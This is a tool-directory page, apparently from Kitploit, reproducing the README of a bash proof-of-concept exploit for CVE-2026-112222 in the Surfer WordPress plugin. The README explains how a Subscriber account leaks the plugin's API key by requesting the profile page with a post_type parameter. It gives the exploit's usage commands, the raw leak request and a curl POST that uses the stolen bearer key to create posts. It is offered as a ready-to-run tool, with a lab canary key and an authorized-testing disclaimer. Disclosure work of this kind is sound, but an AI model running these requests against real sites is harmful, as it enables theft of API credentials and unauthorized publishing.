Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-112222 — Bash PoC for CVE-2026-112222: a Subscriber account leaks the Surfer WordPress plugin API key via the profile page, enabling authenticated REST post creation. | Kitploit
Tools/GitHubGitHub/mor-golan/cve-2026-112222
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHubmor-golan/cve-2026-112222

CVE-2026-112222

Bash PoC for CVE-2026-112222: a Subscriber account leaks the Surfer WordPress plugin API key via the profile page, enabling authenticated REST post creation.

View Repository
6 days agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    337
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    331

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-112222: Broken Access Control in Surfer WordPress Plugin

CVECVE-2026-112222
PluginSurfer (surferseo)
Affected<= 1.8.0.744
Fixed in1.8.1.759
SeverityCVSS 5.4 Medium
Attacker needsSubscriber account
AdvisoryPatchstack
Writeupmor-golan.github.io/research/cve-2026-112222-surferseo

The Surfer plugin hooks a script loader on the global admin_enqueue_scripts action and guards it only with $screen->post_type, which WordPress fills from the request. A Subscriber who opens /wp-admin/profile.php?post_type=post gets a page with a wpsurfer JavaScript object that contains the stored wpsurfer_api_access_key option. That key is also the bearer token that the plugin's surferseo/v1 REST routes accept. In my lab a Subscriber used it to publish a post through POST /wp-json/surferseo/v1/import_post/.

This PoC logs in as a Subscriber, checks the profile page without the parameter as a control, requests it again with ?post_type=post, and extracts the key. It then prints the follow up REST request that would use the key, without sending it.

The profile page loaded as a Subscriber with post_type=post, showing window.wpsurfer.api_key holding the lab canary key

The key in the screenshot and in the examples below is the canary value I seeded in my lab, SURFER-KEY-CANARY-4f91c7a3e2. It is not a real key.

Usage

Requirements: bash, curl, grep, sed. The target site must have the plugin active and connected to Surfer, so the option holds a key. You need a Subscriber login.

chmod +x poc-surfer-subscriber-reads-api-key.sh

# target, user and password as arguments
./poc-surfer-subscriber-reads-api-key.sh http://localhost:8080 subscriber 'subscriber-password'

# or from the environment (TARGET defaults to http://localhost:8080)
TARGET=http://localhost:8080 WP_USER=subscriber WP_PASS='subscriber-password' ./poc-surfer-subscriber-reads-api-key.sh

Exit codes: 0 means the key was recovered, 1 means it did not appear, 2 means the script could not log in or a request failed.

The request the script sends for the leak:

GET /wp-admin/profile.php?post_type=post HTTP/1.1
Host: localhost:8080
Cookie: wordpress_logged_in_<hash>=<subscriber session cookie>

The page then contains:

<script id="surfer-general-js-extra">
var wpsurfer = {"ajaxurl":"http://localhost:8080/wp-admin/admin-ajax.php", ... ,"api_key":"SURFER-KEY-CANARY-4f91c7a3e2", ... };

To confirm the impact on the site, send the recovered key to the plugin's REST route. This creates a post, so run it only on a site you are allowed to change:

curl -X POST 'http://localhost:8080/wp-json/surferseo/v1/import_post/' \
     -H 'Authorization: Bearer SURFER-KEY-CANARY-4f91c7a3e2' \
     -H 'Content-Type: application/json' \
     --data '{"content":"<p>poc</p>","title":"poc","metadata":{"postStatus":{"value":"draft"}}}'

In my lab the same route returned HTTP 401 rest_forbidden with no Authorization header and with a wrong bearer token, and HTTP 200 with the leaked key.

Files

  • poc-surfer-subscriber-reads-api-key.sh: logs in as a Subscriber, runs the control, recovers the key and prints the follow up request.
  • images/subscriber-reads-api-key.png: the profile page as a Subscriber in my lab, showing the leaked canary key.

Disclaimer

For authorized security testing and education only. Run it only against systems you own or are permitted to test.

Credit

Found and reported by Mor Golan, Israeli CVE hunter and bug bounty hunter.

  • mor-golan.github.io
  • Writeup
  • CVE-2026-112222
Download Tool